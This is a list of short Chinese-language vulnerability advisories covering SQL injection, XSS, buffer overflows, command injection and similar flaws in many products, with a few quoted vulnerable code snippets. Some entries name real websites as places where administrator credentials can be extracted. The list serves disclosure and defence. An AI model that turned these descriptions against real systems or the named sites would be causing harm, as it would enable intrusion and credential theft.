ThreeDify Designer是一款三维实体原型设计，建模，和标记的应用程序。ThreeDify Designer ActiveX控件存在缓冲区溢出漏洞，用户提供给"fileName"的参数在拷贝到ActiveSolid.dll文件"cmdExport()"方法的缓冲区时缺少正确边界检查，成功利用漏洞可以应用程序上下文执行任意代码。
Xpdf是一款PDF文件的开放源码查看器。使用特制的.pdf.gz文件名(可从WEB服务器发送给浏览器)，可诱使xpdf删除不相关的以单字母命名的文件。
Sybase Adaptive Server是一款数据库服务程序。Sybase Adaptive Server备份和监视服务器处理登录报文中部分数据存在缺陷。畸形报文可使服务在预定义函数指针数组之外查询函数指针。可设置函数指针指向包含用户可控数据的地址中，最后以监视服务上下文执行任意代码。
Microsoft Windows是一款流行的操作系统。Microsoft Windows CSRSS存在安全漏洞，允许本地用户获得敏感信息或进行拒绝服务攻击。问题是执行某些大小检查时客户端/服务器运行时子系统(CSRSS)中的"SrvGetConsoleTitle()"函数(winsrv.dll)存在一个类型转换错误，攻击者可以利用此漏洞获取某些CSRSS内存或引用非法内存导致内核崩溃。
OmniCom AlphaLPD兼容多数UNIX系统提供LPD服务。OmniCom AlphaLPD不正确处理畸形消息请求，攻击者可以利用漏洞对服务进行拒绝服务攻击。要成功利用此漏洞需要知道服务器上打印机队列名称。
Mongoose是一款简单易用的WEB服务程序。Mongoose处理PUT请求存在缓冲区溢出，攻击者可以利用此漏洞以应用程序上下文执行任意代码。漏洞代码如下：_shttpd_put_dir()/put_dir() function:26         for (s = p = path + 2; (p = strchr(s, '/')) != NULL; s = ++p) {27                 len = p - path;28                 assert(len < sizeof(buf));29                 (void) memcpy(buf, path, len);30                 buf[len] = '\0';3132                 /* Try to create intermediate directory */33                 if (_shttpd_stat(buf, &st) == -1 &&34                     _shttpd_mkdir(buf, 0755) != 0)35                         return (-1);3637                 /* Is path itself a directory ? */38                 if (p[1] == '\0')39                         return (0);40         }这里只有28行的assert调用有对缓冲区溢出进行检查，但是如果使用-DNDEBUG编译，会禁用此项检查，不少用户利用此选项来缩减两进制大小，可受此漏洞影响。
Linux是一款开放源代码的操作系统。Linux Kernel 'net/'子系统'af_packet.c'会把VLAN TCI传递到用户空间中，可导致敏感信息泄露。
Libmodplug是用于播放mod类音乐格式的开源函数库。Libmodplug存在内存破坏漏洞。"CSoundFile::ReadAMS2()"函数(src/load_ams.cpp)存在单字节错误，构建特制AMS文件，诱使用户解析，可触发内存破坏。
Libmodplug是用于播放mod类音乐格式的开源函数库。Libmodplug存在内存破坏漏洞。"CSoundFile::ReadDSM()"函数(src/load_dms.cpp)存在单字节错误，构建特制DSM文件，诱使用户解析，可触发内存破坏。
Libmodplug是用于播放mod类音乐格式的开源函数库。Libmodplug存在栈破坏漏洞。"CSoundFile::ReadAMS()"函数(src/load_ams.cpp)存在单字节错误，构建特制AMS文件，诱使用户解析，可触发栈破坏。
Libmodplug是用于播放mod类音乐格式的开源函数库。Libmodplug存在缓冲区溢出漏洞。处理S3M文件时"CSoundFile::ReadS3M()"函数(src/load_s3m.cpp)存在边界错误，构建恶意S3M文件，诱使用户解析，可触发基于堆的缓冲区溢出。
Libmodplug是用于播放mod类音乐格式的开源函数库。libmodplug存在整数溢出漏洞。处理部分WAV文件时"CSoundFile::ReadWav()"函数(src/load_wav.cpp)存在一个整数溢出错误，构建恶意WAV文件，诱使用户解析，可触发基于堆的缓冲区溢出。
Foomatic是一款打印机数据库，设计用于方便的设置打印机以在unix系统上使用。"/usr/lib/python2.6/dist-packages/foomatic/pysmb.py"脚本没有对主机的'netbios name'值和网络中的'workgroup'域值进行正确转义，攻击者可以构建恶意值，注入任意命令，以应用程序上下文执行。
KindEditor是一套开源的HTML可视化编辑器，主要用于让用户在网站上获得所见即所得编辑效果，兼容IE、Firefox、Chrome、Safari、Opera等主流浏览器。KindEditor存在目录遍历漏洞，攻击者可以利用漏洞查看绝对路径和本地文件信息。
Phpcms是一款内容管理系统。Phpcms 2008和Phpcms 2007 GBK版本中ask/search_ajax.php文件存在SQL注射漏洞，可能导致敏感信息泄露。
Seo Panel是一个Seo工具包。Seo Panel存在跨站脚本漏洞。在directories.php中传递至"capcheck"和"dir_name"参数的输入会导致跨站脚本攻击。
Seo Panel是一个Seo工具包。Seo Panel存在跨站脚本漏洞。在register.php中传递至"lastName"，"userName"，"email"，"firstName"参数的输入会导致跨站脚本攻击。
Seo Panel是一个Seo工具包。Seo Panel存在跨站脚本漏洞。在proxy.php中传递至"proxy"，"proxy_username"，"proxy_password"参数的输入会导致跨站脚本攻击。
Sitecore CMS是一款内容管理系统。Sitecore CMS存在安全漏洞，FileLister和IDEText XAML控制存在未明错误，暂无详细细节提供。
eLMS Pro是一款学习管理系统，可用于任何教育单位。eLMS Pro存在多个跨站脚本漏洞。由于通过'subject'、'name'、'email'和'body'参数传递至'contact_us.php'脚本的输入在返回至用户之前未能正确过滤，攻击者可以利用漏洞在受影响的站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Sitecore CMS是一款内容管理系统。Sitecore CMS存在安全漏洞，由于通过"url"参数传递到shell/default.aspx的输入（当"xmlcontrol"设置为"Application"），在被用来将用户前重定向前未能正确验证，可以被攻击者利用将用户重定向到一个任意的网站。
Seo Panel是一个Seo工具包。Seo Panel存在跨站脚本漏洞。在register.php中传递至"code"参数的输入会导致跨站脚本攻击。
Seo Panel是一个Seo工具包。Seo Panel存在跨站脚本漏洞。settings.php中传递至"category"参数的输入，在返回至用户前未能正确过滤。攻击者可以利用漏洞在受影响的站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
eLMS Pro是一款学习管理系统，可用于任何教育单位。eLMS Pro存在多个SQL注入漏洞。由于在'/www/core/language.class.php'中通过'lang_code'GET参数传递至index.php和login.php的输入以及通过 'login' POST参数传递至login.php的输入，在用于SQL查询之前未能正确过滤。攻击者可以利用漏洞通过注入任意SQL代码来操纵SQL查询。
Seo Panel是一个Seo工具包。Seo Panel存在跨站脚本漏洞。seo-tools.php中传递至"default_args"参数的输入，在返回至用户前未能正确过滤。攻击者可以利用漏洞在受影响的站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
NC LinkList可用于发布和管理网站链接。NC LinkList存在跨站脚本漏洞。index.php脚本中传递至"searchstring"POST参数的输入（当"action"设置为"search"），在返回至用户前未能正确过滤。攻击者可以利用漏洞在受影响的站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
World of Padman是一款开放源码的电脑游戏。World of Padman存在命令注入漏洞，由于应用程序内Icculus.org Quake 3引擎的输入验证错误，可以被攻击者利用诱骗用户连接到恶意服务器并在客户端系统上执行任意shell命令。
Digital Scribe是一款用于在线K-12学校系统范围内学生的工作和功课记录的开源项目。Digital Scribe存在跨站脚本漏洞。由于应用程序对用户提交的数据缺少过滤，攻击者可以利用漏洞窃取基于Cookie的身份验证凭据，在受影响的站点上下文的不知情用户浏览器中执行任意代码。
Novell ZENworks Handheld Management是一款手持式的数据备份和管理工具。Novell ZENworks Handheld Management存在安全漏洞，由于在处理某些请求的"messageID"字段时Common.dll library中存在输入过滤错误，攻击者可以利用漏洞在特制包被发送至TCP 2398端口的过程中通过目录遍历序列创建任意带有控制内容的文件。
Ecava IntegraXor是一款使用HTML和SVG的人机接口产品。Ecava IntegraXor存在跨站脚本漏洞。由于应用程序对用户提交的数据缺少过滤，攻击者利用漏洞可以窃取基于Cookie的身份验证凭据，在受影响的站点上下文的不知情用户浏览器中执行任意代码。
WordPress Timthumb是一款缩略图功能插件。WordPress Timthumb提供的Timthumb.php不正确处理$allowedSites变量，提交特殊的主机名可上传和执行timthumb缓存目录中的任意PHP代码。
Crafty Syntax Live Help是一个在线客户帮助系统，可直接在Web上与客户聊天。Crafty Syntax Live Help存在跨站脚本漏洞，由于通过"pageurl"参数传递至livehelp.php的输入，在被返回用户前未被正确过滤，攻击者可以利用漏洞在用户的浏览器会话中执行任意HTML和脚本代码。
Joomla!是一款开放源码的内容管理系统(CMS)。         Joomla! obSuggest组件存在本地文件包含漏洞。由于应用程序未能正确过滤用户提供的输入，攻击者可以利用漏洞获得潜在的敏感信息，并在Web服务器进程的上下文中执行任意的本地脚本。
Crafty Syntax Live Help是一个在线客户帮助系统，可直接在Web上与客户聊天。Crafty Syntax Live Help存在URI重定向漏洞，由于通过"pageurl"参数传递到livehelp.php的输入，在被用来将用户前重定向前未能正确验证，可以被攻击者利用将用户重定向到一个任意的网站。
Elgg是开源的社交网络平台。Curverider Elgg存在多个跨站脚本漏洞。由于应用程序对用户提供的数据缺少过滤，攻击者可以利用漏洞在受影响的站点上下文的不知情用户浏览器中执行任意代码，窃取基于Cookie的身份验证凭据，并发动其他攻击。
GdkPixbuf是GTK库中的重要组件，用于图标，图像等控件。GDK GIF图像读取程序基于David Koblas代码，也用于多个其他GIF图像读取程序。此代码包含一个输入验证缺陷。输入代码大小从输入GIF文件中获取，对值没有任何检查就用于初始化解码表单，可导致缓冲区溢出。相关的GDK代码如下：  941 static int  942 gif_prepare_lzw (GifContext *context)  943 {    ...  946   if (!gif_read (context, &(context->lzw_set_code_size), 1)) {  947       /*g_message (_("GIF: EOF / read error on image data\n"));*/  948       return -1;  949   }    ...  952   context->lzw_clear_code = 1 << context->lzw_set_code_size;    ...  962   for (i = 0; i < context->lzw_clear_code; ++i) {  963       context->lzw_table[0][i] = 0;  964       context->lzw_table[1][i] = i;  965   }
MyBB是一款基于PHP的论坛程序。MyBB MyTabs插件存在SQL注入漏洞。由于应用程序在用于SQL查询之前对用户提供的输入未能正确验证。攻击者可以利用漏洞控制应用程序，访问或修改数据，或利用底层数据库中的漏洞。
cFTP是一种基于PHP的文件交换应用。cFTP存在身份验证绕过漏洞。由于应用程序对用户提供的基于Cookie的身份验证使用的输入缺少验证，远程攻击者可以利用漏洞获得受影响应用程序的管理员访问权限。
Flexera Software Flexnet License Server Manager中存在任意代码执行漏洞。由于默认监听在TCP端口27000的lmadmin组件在处理具有操作码0x2f的数据包类型时，进程信任用户提供的值，并将包数据复制到堆缓冲区，远程攻击者可以利用该漏洞执行任意代码。
Seo Panel是一个用于管理您的网站搜索引擎优化的完全控制面板。  SEO Panel没有充分过滤用户提供的数据，导致存在多个跨站脚本攻击漏洞。远程攻击者可利用这些漏洞执行受影响站点上下文用户浏览器中的任意脚本代码，并窃取基于cookie的认证证书。
Group-Office是由荷兰公司Intermesh开发的一个PHP的基于双许可证的商业/开源组件产品。  Group-Office中存在命令注入和SQL注入漏洞。由于应用程序没有正确过滤用户提供的输入，远程攻击者可利用这些漏洞执行任意代码，访问或修改数据。
ICQ是一款流行的点对点网络即时通信软件。  ICQ 7.5版本的MUIMessage.dll文件转换中存在拒绝服务漏洞。远程攻击者可利用该漏洞使受影响应用程序崩溃，拒绝服务合法用户。
Link Station Pro是一套应用于网站及网站管理员的解决方案。Link Station Pro存在SQL注入漏洞。由于应用程序在用于SQL查询之前对用户提供的输入未能正确过滤，攻击者可以利用漏洞访问或修改数据。
Skype是一款流行的P2P VoIP软件，可提供高质量的语音通讯服务。Skype集成的Facebook插件没有对张贴到Facebook上的数据进行充分转义，攻击者可以构建恶意链接，诱使用户解析，劫持skype会话或控制目标用户系统。即使目标用户没有facebook好友或攻击者是目标用户skype联系人也可受此漏洞攻击。
Zoneminder是一套集成的应用程序，提供完整的监控解决方案。ZoneMinder 'view'参数存在本地文件包含漏洞。由于应用程序对用户提交的输入未能正确过滤，攻击者可以利用漏洞获得敏感信息或执行任意代码。
ActFax Server是一款windows和unix系统下的传真服务器软件。actfax ftp服务器存在一个可利用栈缓冲区溢出，当解析'USER'命令时actfax没有正确检查参数长度，成功利用漏洞可以以应用程序上下文执行任意代码。
多个Sybase产品存在安全漏洞。处理部分登录报文时Open Server组件存在未明错误。目前没有详细漏洞细节提供。
多个Sybase产品存在安全漏洞。处理Tabular数据流(TDS)报文时Open Server组件存在未明错误。目前没有详细漏洞细节提供。
SCO UnixWare是一款类unix操作系统。SCO UnixWare许可证策略管理器守护进程(sco_pmd)存在一个未明错误，允许本地用户使进程崩溃。
MiniSSDPd是一款Posix系统上管理SSDP的守护程序。报文解析存在单字节错误，向服务发送特制报文可使应用程序崩溃。
PHPaa CMS是一款内容管理系统。PHPaa CMS存在注入漏洞。由于对参数过滤不严，攻击者可以利用漏洞获取管理员账号和密码。
科汛(KesionCMS)是一款内容管理系统。科汛(KesionCMS)存在SQL注入漏洞，攻击者可以利用漏洞获得敏感信息。
MiniSSDPd是一款Posix系统上管理SSDP的守护程序。MiniSSDPd处理"cache-control"报文存在错误，向服务发送特制"cache-control"报文可使应用程序崩溃。
MiniSSDPd是一款Posix系统上管理SSDP的守护程序。MiniSSDPd未能正确处理内存分配失败问题，向服务发送特制报文可使应用程序崩溃。
Hitachi JP1/IT资源管理存在一个未明安全漏洞。此漏洞相关与验证信息，目前没有详细漏洞细节提供。
MiniSSDPd是一款Posix系统上管理SSDP的守护程序。'processRequest()'函数(minissdpd.c)存在错误，向服务提交特制报文可获得敏感栈内存信息。
MiniSSDPd是一款Posix系统上管理SSDP的守护程序。MiniSSDPd中'processRequest()'函数(minissdpd.c)存在多个错误，向服务提交特制报文可触发缓冲区溢出，允许恶意攻击者进行执行任意代码攻击。
Avaya Secure Access Link全面控制支持服务提供商远程连接您的网络的方式。不必交出自由访问权，此服务允许您从您自己的网络发起通信连接，选择适合您的企业的最佳提供商。由安装程序提供的默认SAL网关属性，次核心服务器URL和远程服务器URL指向的secavaya.com和secaxeda.com分别代表的是份额发的公共域服务器而不是属于Avaya公司。这些服务器解析非法域可构成安全威胁。次核心服务器URL必须和主核心服务器URL相同，次远程服务器必须和主远程服务器URL相同。要利用此漏洞，攻击者需要拥有'secavaya.com'和'secaxeda.com'域名的恶意Email服务器，可获得警告和日志信息。
Open Handset Alliance Android是一款超过30家科技与移动电话公司所组成的团体开发的免费的移动电话平台。Open Handset Alliance Android存在一个安全漏洞允许攻击者伪造SSL证书。攻击者利用此漏洞能够可显示不正确的SSL证书，使得目标用户盲目信任目标网站是合法的站点，可泄露敏感信息。
Group-Office是一个基于Web的办公套件，其功能包括用户管理、模块管理、邮件客户端、 文件管理器、日程、项目管理以及客户关系管理等。Group-Office存在命令注入漏洞，由于应用程序中某些未明输入未被正确过滤，导致攻击者可以注入并执行任意命令。
Group-Office是一个基于Web的办公套件，其功能包括用户管理、模块管理、邮件客户端、文件管理器、日程、项目管理以及客户关系管理等。Group-Office存在SQL注入漏洞，由于应用程序中某些未明输入在用于SQL查询之前未被正确过滤，攻击者可以通过注入任意SQL代码来操纵SQL查询。
Support Incident Tracker是一个基于Web的技术支持电话和邮件跟踪系统。        Support Incident Tracker存在SQL注入漏洞。由于应用程序在被用于SQL查询之前没有经过正确过滤用户提供的输入，远程攻击者可利用漏洞访问或者修改数据。
ManageEngine ServiceDesk Plus是一个完全基于web的帮助台(HelpDesk)和资产管理软件。ManageEngine ServiceDesk Plus存在HTML注入漏洞，由于应用程序对用户提交的数据缺少过滤，攻击者可以利用漏洞在受影响的站点上下文的不知情用户浏览器中执行任意脚本代码，窃取基于Cookie的身份验证凭据，并发动其他攻击。
Phpcms是一款内容管理系统。Phpcms存在信息泄露漏洞。暂无详细细节提供。
ICQ是一款流行的即时信息聊天工具。ICQ存在拒绝服务漏洞，由于缺少输入验证、输出过滤及文件传输时的错误文件类型和文件名，攻击者可利用此漏洞使远程用户的ICQ客户端崩溃。
WPtouch是WordPress的一款插件。WordPress WPtouch插件存在URL重定向漏洞，攻击者可以使用户重定向到任意URL。
G2webCMS是一款内容管理系统。G2webCMS存在SQL注入漏洞，暂无详细细节提供。
Football CMS是一款内容管理系统。Football CMS存在SQL注入漏洞，暂无详细细节提供。
phpBB是一款WEB论坛程序。phpBB AJAX Chat/Shoutbox MOD存在跨站请求伪造漏洞。暂无详细细节提供。
MinaliC是一款WEB服务程序。 MinaliC存在安全漏洞，由于在处理包含某些字符（例如"%20"）的Web请求时产生错误，攻击者可以利用漏洞通过特制的URL披露PHP脚本的源代码。
CobraScripts Trading Marketplace是一款全球贸易网站的解决方案。CobraScripts Trading Marketplace存在SQL注入漏洞。由于通过"cid"参数传递至selloffers.php的输入在用于SQL查询之前未被正确过滤，攻击者可以利用漏洞注入任意SQL代码来操纵SQL查询。
Foomatic是一个数据库驱动的系统整合与Unix下假脱机程序的免费软件打印机驱动程序。Foomatic存在安全漏洞，由于应用程序以一种不安全的方式创建临时文件，本地攻击者可能利用此漏洞执行符号链接攻击，在受影响的应用程序范围内覆盖任意文件，可能允许攻击者删除或损坏敏感文件，导致拒绝服务。
MyWebServer是一款免费的点对点架站软件。MyWebServer不正确处理特殊"."字符，攻击者在脚本扩展名后追加此字符，可获得脚本敏感源代码信息。
MyWebServer是一款免费的点对点架站软件。MyWebServer不正确处理用户提交的URI请求，远程攻击者可以利用漏洞进行缓冲区溢出攻击，可以以应用程序上下文执行任意代码。
FlexNet License Server Manager是一款许可证服务管理程序。FlexNet License Server Manager存在安全漏洞，由于默认监听TCP 27000端口的lmadmin组件存在缺陷，当处理opcode 0x2f报文类型时，计算报文中剩余字节时进程没有检查用户提供的值，使用不正确的长度值在进程拷贝报文数据到堆缓冲区时可触发缓冲区溢出，成功利用漏洞可以以lmadmin用户上下文执行任意代码。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。SAP Netweaver Invoker Servlet存在安全漏洞，允许攻击者调用即使在web.xml文件中声明的任意Servlets。包括应用程序classloader中可用的任意servlet类，如位于WEB-INF\classes，WEB-INF\lib和WEB-INF\additinal-lib应用程序目录下的类。Java应用程序中附带的多个servlets不是设计用于直接客户端访问，而是在应用程序内部交互，因此可导致执行任意调用，在SAP服务器上执行不可见操作。
Freefloat FTP Server是免费的用于上传文件和管理有线及无线设备的软件。Freefloat FTP Server在实现上存在远程缓冲区溢出漏洞，远程攻击者利用此漏洞可获取shell访问，上传恶意的数据包，通过发送ACCL来触发，导致缓冲区溢出或发生崩溃。
易分销是一款基于WEB应用的B/S架构的B2B2C网上商店系统。易分销存在安全漏洞，攻击者注册地址：http://shop.fenxiaowang.com/index.php进入试用后台，通过模板打包功能修改提交参数，可以打包任何路径下的文件。
OpenX是一款用PHP开发的广告管理与跟踪系统。OpenX Ad Server的管理界面存在跨站点请求伪造漏洞，远程攻击者可以利用漏洞强制管理员登陆服务器执行恶意操作。
Drupal是一款开放源码的内容管理平台。Drupal存在安全绕过漏洞，攻击者可以利用这个漏洞来绕过安全限制，获得敏感信息或执行未经授权的操作。
MBoard是一款留言板系统。MBoard存在安全漏洞，由于程序在重定向用户之前没有正确过滤通过'URL'参数传递到go.php的输入，攻击者可以利用漏洞将用户重定向到任意一个网站。
fglrx是一款支持ATI图形芯片的驱动程序。Fglrx存在信息泄露漏洞，本地攻击者可以利用此漏洞获得受害人的信息，获得的信息可能有助于进一步的攻击。
ExtCalendar是一个基于Web的日历、日程应用。ExtCalendar 'password'参数存在SQL注入漏洞。由于应用程序在用于SQL查询之前对用户提供的数据缺少过滤，攻击者可以利用漏洞访问或修改数据。
ExtCalendar是一个基于Web的日历、日程应用。ExtCalendar 'username'参数存在SQL注入漏洞。由于应用程序在用于SQL查询之前对用户提供的数据缺少过滤，攻击者可以利用漏洞访问或修改数据。
Citrix XenApp是一款端到端的Windows应用交付系统，可以实现客户端和服务器端的应用虚拟化。XenApp和XenDesktop的XML服务接口存在安全漏洞，允许远程未验证攻击者以XenApp或XenDesktop服务器的服务账户上下文执行任意代码，向受影响组件发送特制的报文可触发此漏洞。
Sagem F@st 3304是一款ADSL设备。Sagem F@st 3304路由器没有正确限制对敏感信息的访问，远程攻击者可以利用漏洞获得路由器PPPoE密码。
AMD Catalyst Proprietary Display Driver (Linux)存在安全漏洞，本地用户可利用漏洞获得敏感信息。由于authatieventsd.sh脚本通过命令行向"xauth"传递X授权COOKIE来生成X授权文件，攻击者可以通过查询进程列表获得X权威COOKIE信息，获得对用户显示屏的访问。
Online Grades是一款用于在网站上张贴学生的成绩考勤信息的软件。Online Grades存在跨站脚本漏洞。由于应用程序对用户提供的数据缺少过滤，攻击者可以利用漏洞在受影响的站点上下文的不知情用户浏览器中执行任意代码，窃取基于Cookie的身份验证凭据。
Godly Forums是一款开源的论坛。Godly Forums存在一个SQL注入漏洞，由于它没有充分过滤之前在SQL查询中使用它的用户提供的数据，允许攻击者利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Drupal是一款开放源码的内容管理平台，Taxonomy Filter是Drupal的一个模块。Drupal Taxonomy Filter存在HTML注入漏洞。由于应用程序在用于动态生成的内容之前没有正确过滤用户提供的输入。攻击者可以利用漏洞窃取基于Cookie的身份验证凭据或控制网站的呈现。
Drupal是一款开放源码的内容管理平台，SunMailer Newsletter是Drupal的模块。Drupal SunMailer Newsletter模块存在安全绕过漏洞。攻击者可以利用漏洞绕过安全限制，执行未经授权的操作。
OpenSAML是一款开源的Java与C++类库。它实现了SAML(SecurityAssertionMarkupLanguage)1.0与1.1规范。此漏洞是由于库没有正确校验部分签名的XML消息，通过封装攻击(wrapping attacks)可绕过校验，使得包含任意内容的消息成功验证通过。
ICQ是一款流行的即时信息聊天工具。ICQ存在HTML注入漏洞。由于在动态更新内容之前，应用程序没有正确地过滤用户提供的输入，攻击者可以利用漏洞窃取基于Cookie的身份验证凭据或控制网站的呈现。
Dlink DPH是一款IP电话解决方案。Dlink DPH 150SE的WEB管理接口存在安全漏洞，允许未验证用户重启设备。
GLPI是一个开源的IT资源管理软件。GLPI没有正确限制对某些应用数据的访问，攻击者可以利用漏洞获得敏感信息。
Dlink DPH是一款IP电话解决方案。Dlink DPH 150SE的WEB管理接口存在安全漏洞，允许未验证用户修改设备LCD显示屏上的消息显示。
Dlink DPH是一款IP电话解决方案。Dlink DPH 150SE的WEB管理接口存在安全漏洞，允许未验证用户上传配置文件到设备。
Dlink DPH是一款IP电话解决方案。Dlink DPH 150SE的WEB管理接口存在安全漏洞，允许未验证用户获得包括管理员密码的配置文件信息。
Download Accelerator Plus是一款下载加速器。Download Accelerator Plus处理M3U文件存在缓冲区溢出，攻击者可以构建恶意文件，诱使用户解析，可以应用程序上下文执行任意代码。
ClamAV是一款基于unix下的反病毒应用程序。ClamAV存在安全漏洞，由于libclamav/matcher-hash.c提供的"cli_hm_scan()"函数存在单字节错误，通过构建特制的Email消息可使"clamd"守护程序崩溃。
Drupal是一款开放源码的内容管理平台，Devel是Drupal的一个模块。Drupal Devel模块存在跨站点请求伪造漏洞。远程攻击者利用漏洞可以执行未经授权的访问。
Joomla!是一款开放源码的内容管理系统(CMS)。Joomla! Simple Page Option存在一个本地文件包含漏洞，由于它没有正确过滤用户提供的输入，攻击者可以利用这个漏洞获得潜在的敏感信息，并在Web服务器进程的上下文中执行任意的本地脚本。
Joomla!是一款开放源码的内容管理系统(CMS)。AlphaRegistration存在一个SQL注入漏洞，由于它未能充分过滤之前在SQL查询中使用它的用户提供的数据，允许攻击者危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
PRADO是在PHP5环境下的一个基于事件驱动和基于组件的WEB应用开发框架。PRADO存在目录遍历漏洞，由于它未能充分过滤用户输入，导致允许攻击者在Web服务器中查看或删除任意文件。
Hewlett Packard HPLIP是惠普(HP)公司的Linux下的图像和打印驱动项目， 提供一个统一的多功能的Linux下图像打印的解决方案。Hewlett Packard HPLIP存在安全漏洞，HPLIP提供的hpcupsfax.cpp不安全处理tmp文件，攻击者可以利用符号链接攻击，覆盖或读取任意系统文件。
Musicbox是一款音乐播放器。Musicbox存在SQL注入漏洞。攻击者利用漏洞可以窃取基于Cookie的身份验证凭据，访问或修改数据。
Musicbox是一款音乐播放器。Musicbox存在跨站脚本漏洞。攻击者利用漏洞可以窃取基于Cookie的身份验证凭据，访问或修改数据。
Computer Associates ARCserve Backup是一款多平台的备份和恢复保护解决方案。软件安装Tomcat HTTP服务器监听8014端口，使用GWT RPC(Google Web Toolkit Remote Procedure Call)机制从管理员浏览器接收消息。无需验证，可访问WEB服务器的用户可发送包含"getLocalHost"消息的POST请求给homepageServlet serlvet，部分描述符的正确文件名会泄露目标应用程序的用户名和密码。这个用户名和密码对是拥有管理员权限的windows验证凭据。
Joomla!是一款开放源码的内容管理系统(CMS)。Joomla!存在跨站脚本漏洞。通过"searchword"传递参数到index.php（"option" 设置为"com_search"，"task"设置为"search"）的输入在返回给用户之前没有正确过滤。攻击者可以利用漏洞在用户的浏览器会话中执行任意HTML和脚本代码。
ManageEngine ServiceDesk Plus是一个完全基于web的帮助台(HelpDesk)和资产管理软件。当完成备份数据库删除操作过程中没有充分对用户权限进行安全检查，拥有Guest特权的用户可以提交恶意URI给受影响应用程序删除备份数据库。
Synergy Software可以为用户提供IT软件解决方案和IT服务。Synergy Software中存在SQL注入漏洞。由于应用程序在用于SQL查询之前未能正确过滤用户提供的输入，远程攻击者可借助id参数访问或者修改数据。
Microsoft Internet Explorer是一款微软开发的WEB浏览器。Internet Explorer存在跨站脚本漏洞。通过EUC-JP编码字符传递的某些输入在返回至用户之前没有正确过滤，攻击者可以利用漏洞在受影响的站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
PHP是一款编程语言。PHP-Barcode中'code'参数存在远程命令注入漏洞。攻击者可以利用漏洞以应用程序上下文执行任意指令。
Recipes website Script是食谱网站脚本。Recipes website Script Silver Edition存在SQL注入漏洞。viewRecipe.php中通过"recipeId"参数传递的输入在用于SQL查询之前未能正确过滤，攻击者可以注入任意SQL代码来操纵SQL查询。
BusyBox是一个可执行程序，可以把很多标准Linux工具的简版组合成在一起。BusyBox存在响应处理输入过滤漏洞。当处理来自DHCP服务器的响应时，某些shell元字符没有被剥夺或转义处理，攻击者可以通过特制的“主机名”响应利用漏洞。
mod_authnz_external模块是构建Apache HTTP Daemon的自定义基本验证系统的工具。Apache "mod_authnz_external"模块存在SQL注入漏洞。由于该模块在用于SQL查询之前对用户提供的数据缺少过滤，远程攻击者可利用此漏洞控制应用程序，访问或修改数据。
BusyBox是很多标准Linux工具的一个可执行实现。BusyBox在转义DHCP服务器响应的某些shell元字符时存在远程代码执行漏洞，远程攻击者可利用此漏洞伪造DHCP服务器，以超级用户权限执行任意命令。由于在处理来自DHCP服务器的响应时，某些shell元字符没有正确剥离或转义。
CiscoKits CCNA TFTP Server是一款服务器。CiscoKits CCNA TFTP Server中存在拒绝服务漏洞。远程攻击者可以利用漏洞使受影响的应用程序崩溃，拒绝服务合法用户。
cgit是一种git代码浏览工具，类似gitweb。cgit处理重命名暗示的文件名时存在跨站脚本问题，拥有访问git库的合法CGit用户，可利用此缺陷，执行任意WEB脚本或通过推送commit消息注入恶意HTML代码。
EC_word企业管理系统存在安全漏洞，可以直接爆出密码，选择网站http://www.czwanding.com/并且构造数据包，得到其管理员账号密码。
启航企业建站系统是一套为网站用户提供的建站工具。启航企业建站系统存在安全漏洞，攻击者利用漏洞可直接构造数据包发送，返回用户名和密码。
Foxit Reader是一款流行的处理PDF文件的应用程序。当处理"OpenFile()"方法时FoxitReaderOCX ActiveX控件存在边界错误，向"strFilePath"参数传递超长字符串，可触发基于堆的缓冲区溢出。成功利用漏洞可以以应用程序上下文执行任意代码。
HTC是一款流行的智能手机。运行在Android 2.1和Android 2.2平台上的HTC设备提供的蓝牙OBEX FTP服务存在目录遍历漏洞，利用这个漏洞允许远程已验证攻击者通过提交../的路径名请求，列出任意目录和读取任意文件。
Western Digital WD TV Live Hub是一款西部数据开发的高清多媒体播放机。Western Digital WD TV Live Hub存在安全漏洞，由于缺少正确校验攻击者可以向端口80或者30000发送关机命令。
Western Digital WD TV Live Hub是一款西部数据开发的高清多媒体播放机。Western Digital WD TV Live Hub存在安全漏洞，连接WEB服务器端口发送正确的POST请求给CGI脚本或连接未明30000端口可发送单字符的命令。
Apple Safari是一款基于WebKit引擎的WEB浏览器。Apple Safari使用的WebKit存在多个内存破坏漏洞，构建恶意WEB页，诱使用户解析可使应用程序崩溃或任意代码执行。
WebKit是一款开放源代码的浏览器引擎。处理MathML标记标签存在漏洞，具体的说，当Safari无法正确释放对象时可触发一个释放后使用漏洞。对象内存释放后，仍旧保留一个对对象的引用。当引用之后用于访问对象时，会把非法内存作为合法对象，并且对象的vtable用于间接函数调用。这可导致一个任意代码执行。
vBulletin是一款论坛程序套件。vBulletin Publishing Suite和vBulletin Forum Classic存在输入验证错误，部分相关search UI的输入在用于SQL查询之前缺少正确过滤，攻击者可以利用漏洞进行SQL注入攻击，操作数据库或获得敏感信息。
Western Digital WD TV Live Hub是一款西部数据开发的高清多媒体播放机。Western Digital WD TV Live Hub存在安全漏洞，WEB应用缺少正确的验证机制，攻击者可以调用RPC请求(通过web)获得敏感信息或获取database.db获得可访问WEB控制台的用户名和密码。
Western Digital WD TV Live Hub是一款西部数据开发的高清多媒体播放机。Western Digital WD TV Live Hub存在安全咯遁光，提交如下请求可获得敏感路径信息：http://www.victim.com/DB/connect2sqlite.php
Western Digital WD TV Live Hub是一款西部数据开发的高清多媒体播放机。Western Digital WD TV Live Hub存在安全漏洞，通过连接samba共享或连接TwonkyMeida Server 9000端口，可上传任意文件和下载删除任意目录中的任意文件。
Linux是一款开放源代码的操作系统。Linux内核'drivers/media/radio/si4713-i2c.c'提供的copy_from_user()函数没有正确检查缓冲区大小，可触发缓冲区溢出，攻击者可以利用漏洞提升特权或对系统进行拒绝服务攻击。
Oracle Enterprise Manager Grid Control是可以监控和管理网格中的Oracle数据库软件的工具。Oracle Enterprise Manager Grid Control在实现上存在远程EMCTL漏洞，远程攻击者可通过HTTP协议利用此漏洞。
